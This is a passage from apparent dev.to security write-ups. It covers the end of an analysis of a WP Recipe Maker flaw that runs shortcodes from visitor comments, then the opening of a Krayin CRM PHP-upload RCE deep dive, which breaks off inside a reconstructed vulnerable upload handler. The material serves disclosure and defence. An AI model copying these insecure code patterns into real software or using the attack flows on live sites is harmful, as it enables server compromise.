&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nf"&gt;add_shortcode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'hello'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s1"&gt;'Hello!'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nf"&gt;do_shortcode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'Hi [hello]'&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// Hi Hello!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The important part is that &lt;strong&gt;&lt;code&gt;do_shortcode()&lt;/code&gt; runs every shortcode it finds in the string&lt;/strong&gt;. That is fine for text written by editors and authors, who are trusted. It is not fine for text written by anonymous visitors, such as comments.&lt;/p&gt;

&lt;h3&gt;
  
  
  What JSON-LD is
&lt;/h3&gt;

&lt;p&gt;JSON-LD is structured data placed in the page so search engines can understand it. A recipe page carries something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"application/ld+json"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Recipe&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;...&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;review&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;reviewBody&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;...&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;WP Recipe Maker turns rated comments into entries of that &lt;code&gt;review&lt;/code&gt; array, with the comment text as &lt;code&gt;reviewBody&lt;/code&gt;. This block is public: every visitor and every crawler can read it.&lt;/p&gt;




&lt;h2&gt;
  
  
  The vulnerable code
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Some of the code below is simplified to make the flow easier to follow. The file is &lt;code&gt;includes/public/class-wprm-metadata.php&lt;/code&gt; from 10.8.1.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  The data flow
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;comment_content
   └─▶ reviewBody                    (class-wprm-metadata.php:1016-1017)
        └─▶ $metadata['review'][]    (:1028)
             └─▶ sanitize_metadata( get_metadata($recipe) )   (:374)
                  └─▶ do_shortcode( ... )   &amp;lt;- sink            (:553)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0d0zj6av8kvycuwlii8q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0d0zj6av8kvycuwlii8q.png" alt=" " width="800" height="540"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How to read Figure 2.&lt;/strong&gt; It is a five-step chain, top to bottom. The amber card at the top is the untrusted source, and the red card at the bottom is the sink. The small gray text on each card is the line number. The dashed red bracket on the right marks the point of the whole bug: from step 1 to step 5 there is no validation or filtering of any kind.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: which comments get collected
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// simplified&lt;/span&gt;
&lt;span class="nv"&gt;$comments&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;get_comments&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s1"&gt;'post_id'&lt;/span&gt;  &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$recipe&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;parent_post_id&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;   &lt;span class="c1"&gt;// the post the recipe card sits in&lt;/span&gt;
    &lt;span class="s1"&gt;'status'&lt;/span&gt;   &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'approve'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;                   &lt;span class="c1"&gt;// approved comments only&lt;/span&gt;
    &lt;span class="s1"&gt;'meta_key'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'wprm-comment-rating'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;       &lt;span class="c1"&gt;// only comments that carry a rating&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;foreach&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$comments&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nv"&gt;$comment&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$review&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="s1"&gt;'@type'&lt;/span&gt;      &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'Review'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;'reviewBody'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$comment&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;comment_content&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="c1"&gt;// raw comment text&lt;/span&gt;
        &lt;span class="c1"&gt;// ... author, reviewRating, etc.&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nv"&gt;$metadata&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'review'&lt;/span&gt;&lt;span class="p"&gt;][]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$review&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The plugin takes approved, rated comments from the post that contains the recipe and puts &lt;code&gt;comment_content&lt;/code&gt; straight into &lt;code&gt;reviewBody&lt;/code&gt;. Nothing is wrong yet. The problem is what happens to that array next.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: the sanitizer that executes
&lt;/h3&gt;

&lt;p&gt;Before output, the metadata goes through &lt;code&gt;sanitize_metadata()&lt;/code&gt;. It recurses into arrays and cleans every string it finds.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// simplified&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;sanitize_metadata&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$metadata&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nb"&gt;is_array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$metadata&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;foreach&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$metadata&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nv"&gt;$key&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$value&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nv"&gt;$metadata&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$key&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;sanitize_metadata&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$value&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// recurse&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$metadata&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// string case: the vulnerable line (10.8.1, :553)&lt;/span&gt;
    &lt;span class="nv"&gt;$sanitized&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;strip_shortcodes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;wp_strip_all_tags&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;do_shortcode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$metadata&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$sanitized&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Read that one line from the inside out:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Order&lt;/th&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;What it does&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&lt;code&gt;do_shortcode( $metadata )&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Executes&lt;/strong&gt; shortcodes and replaces them with their output&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&lt;code&gt;wp_strip_all_tags( ... )&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Removes HTML tags from the result&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;code&gt;strip_shortcodes( ... )&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Removes any shortcode syntax still left&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The developer's intent was probably "strip shortcodes and tags so only clean text reaches the JSON-LD". But execution (step 1) happens before the stripping (steps 2 and 3). The later steps only clean up output that has already been produced, so they cannot stop the shortcode from running.&lt;/p&gt;

&lt;p&gt;An analogy: it is like opening a package and letting its contents run, and only then inspecting the wrapping paper.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why &lt;code&gt;reviewBody&lt;/code&gt; is the way in
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;sanitize_metadata()&lt;/code&gt; applies &lt;code&gt;do_shortcode()&lt;/code&gt; to every string in the array. For fields like the recipe title or ingredients, that is harmless, because an administrator wrote them. &lt;code&gt;reviewBody&lt;/code&gt; is the one place where text from anonymous visitors flows into the same array. A pipeline designed for trusted data ended up receiving untrusted data.&lt;/p&gt;




&lt;h2&gt;
  
  
  The attack flow
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;An attacker posts a rated comment on the post that contains a recipe, with shortcode syntax in the body. The rating (&lt;code&gt;wprm-comment-rating&lt;/code&gt;) is what makes the comment count as a review.&lt;/li&gt;
&lt;li&gt;The comment gets approved, either automatically or by an administrator.&lt;/li&gt;
&lt;li&gt;Someone opens the recipe page, and the plugin builds the metadata. The approved comment is now inside &lt;code&gt;review&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;sanitize_metadata()&lt;/code&gt; calls &lt;code&gt;do_shortcode()&lt;/code&gt; on the comment text, and the shortcode runs on the server.&lt;/li&gt;
&lt;li&gt;The output is written into &lt;code&gt;reviewBody&lt;/code&gt; in the JSON-LD and is visible to every visitor and crawler.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Figtopeffmph1dhcubqz1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Figtopeffmph1dhcubqz1.png" alt=" " width="800" height="390"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How to read Figure 1.&lt;/strong&gt; Three horizontal lanes (attacker, site, visitors), followed in the order of the numbered badges. The attacker appears only in step 1. Everything after that happens in the site and visitor lanes, and the curved arrows between lanes are the hand-offs: approval, then a page request, then metadata generation. Only card 5 has a red accent, because it is the point where code runs on the server. The red arrow from 5 to 6 shows that the result is delivered to ordinary visitors, not to the attacker.&lt;/p&gt;

&lt;p&gt;A note on approval: WordPress ships with "comment author must have a previously approved comment" enabled, so a first-time commenter is often held in moderation. That raises the bar somewhat. Sites with looser moderation are exposed immediately.&lt;/p&gt;

&lt;h3&gt;
  
  
  Impact
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Because the output is embedded in the page, &lt;strong&gt;any shortcode that returns data becomes a disclosure channel&lt;/strong&gt;. The public advisory mentions things like attachment captions, fields of private posts, and data exposed by other installed plugins.&lt;/li&gt;
&lt;li&gt;If a shortcode has side effects, it can fire &lt;strong&gt;on every render&lt;/strong&gt; of the page.&lt;/li&gt;
&lt;li&gt;It is not RCE. The attacker cannot run arbitrary PHP, only what the site has registered as shortcodes.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  The patch (10.8.2)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// 10.8.1 (vulnerable)&lt;/span&gt;
&lt;span class="nv"&gt;$sanitized&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;strip_shortcodes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;wp_strip_all_tags&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;do_shortcode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$metadata&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// 10.8.2 (fixed)&lt;/span&gt;
&lt;span class="nv"&gt;$sanitized&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;strip_shortcodes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;wp_strip_all_tags&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;WPRM_Instacart&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;do_shortcode_safe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$metadata&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One call changes: &lt;code&gt;do_shortcode()&lt;/code&gt; becomes &lt;code&gt;WPRM_Instacart::do_shortcode_safe()&lt;/code&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;do_shortcode_safe()&lt;/code&gt; &lt;strong&gt;does not execute anything&lt;/strong&gt;. It removes the shortcode tags and keeps only the inner content (&lt;code&gt;class-wprm-instacart.php:501&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;The same comment no longer produces shortcode output in &lt;code&gt;reviewBody&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The plugin's changelog describes the change as preventing shortcode execution from comment text in recipe metadata.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fugqbqnfk90uyoaba27be.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fugqbqnfk90uyoaba27be.png" alt=" " width="800" height="347"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How to read Figure 3.&lt;/strong&gt; The top row is 10.8.1 and the bottom row is 10.8.2. In each row, only the first card has a color, and the other two are gray. That is the whole patch: the first step changed and the rest did not. The red bracket under the top row says the two cleanup steps come after execution and are too late. The teal bracket under the bottom row says the fix blocks execution at the first step.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2bk6k5dlqhlkmvj8v98p.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2bk6k5dlqhlkmvj8v98p.png" alt=" " width="800" height="395"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How to read Figure 4.&lt;/strong&gt; One approved comment at the top feeds both versions. On the left (10.8.1), the highlighted &lt;code&gt;reviewBody&lt;/code&gt; line contains the shortcode's output, which is public. On the right (10.8.2), the shortcode is stripped and never runs. The empty value on the right assumes a comment that contains only a shortcode. If the shortcode wraps some inner text, that text can remain.&lt;/p&gt;




&lt;h2&gt;
  
  
  What to do
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Update WP Recipe Maker to &lt;strong&gt;10.8.2 or later&lt;/strong&gt;, preferably the latest release.&lt;/li&gt;
&lt;li&gt;Until you can update, switch rated comments to manual approval and review pending and approved comments for &lt;code&gt;[&lt;/code&gt; and &lt;code&gt;]&lt;/code&gt; syntax.&lt;/li&gt;
&lt;li&gt;Review which shortcodes your site registers, and check whether any of them return sensitive data.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>cve</category>
      <category>wordpress</category>
    </item>
    <item>
      <title>CVE-2026-38526 Deep Dive: Unrestricted PHP Upload RCE in Krayin CRM</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Thu, 08 Oct 2026 07:42:42 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-38526-deep-dive-unrestricted-php-upload-rce-in-krayin-crm-egc</link>
      <guid>https://dev.to/guidance_white/cve-2026-38526-deep-dive-unrestricted-php-upload-rce-in-krayin-crm-egc</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdrwwuzuktwcceyaboqy4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdrwwuzuktwcceyaboqy4.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-38526&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 3.1&lt;/td&gt;
&lt;td&gt;9.9 (Critical)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE&lt;/td&gt;
&lt;td&gt;CWE-434 (Unrestricted Upload of File with Dangerous Type)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected product&lt;/td&gt;
&lt;td&gt;Webkul Krayin CRM v2.2.x (open-source Laravel CRM)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vulnerable endpoint&lt;/td&gt;
&lt;td&gt;&lt;code&gt;POST /admin/tinymce/upload&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Privileges required&lt;/td&gt;
&lt;td&gt;Low — any authenticated user, admin rights not needed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;User interaction&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The CVSS vector is AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — a network-reachable flaw, low attack complexity, low privileges required, no user interaction, with high impact on confidentiality, integrity, and availability. In plain terms: if you can log in at all, you can take over the server.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why this matters, in one sentence
&lt;/h2&gt;

&lt;p&gt;Krayin CRM uses the TinyMCE rich-text editor for things like email templates and notes. When a user pastes or inserts an image into the editor, the browser uploads that image through an API endpoint. The problem: &lt;strong&gt;that endpoint never checks whether the uploaded file is actually an image.&lt;/strong&gt; An attacker can submit a &lt;code&gt;.php&lt;/code&gt; file instead of a &lt;code&gt;.jpg&lt;/code&gt;, and the server stores it in a directory the web server will happily execute.&lt;/p&gt;




&lt;h2&gt;
  
  
  Source-level walkthrough
&lt;/h2&gt;

&lt;p&gt;A typical vulnerable Laravel upload handler looks like this. It's a reconstruction of the pattern described in the public advisory and PoC — not a verbatim copy of the proprietary source file — but it captures exactly the logic flaw involved.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Webkul\Admin\Http\Controllers\TinyMCE\TinyMCEController (conceptual reconstruction)&lt;/span&gt;

&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;upload&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Request&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// ① Grab the uploaded file as-is&lt;/span&gt;
    &lt;span class="nv"&gt;$file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// ② Trust the client-supplied filename — no extension allowlist!&lt;/span&gt;
    &lt;span class="nv"&gt;$fileName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getClientOriginalName&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="c1"&gt;// ③ Store it directly in a web-accessible "public" disk&lt;/span&gt;
    &lt;span class="nv"&gt;$path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;storeAs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'tinymce'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$fileName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'public'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// ④ Hand the attacker the exact URL of what was just stored&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
        &lt;span class="s1"&gt;'location'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;asset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'storage/'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;]);&lt;/span&gt;
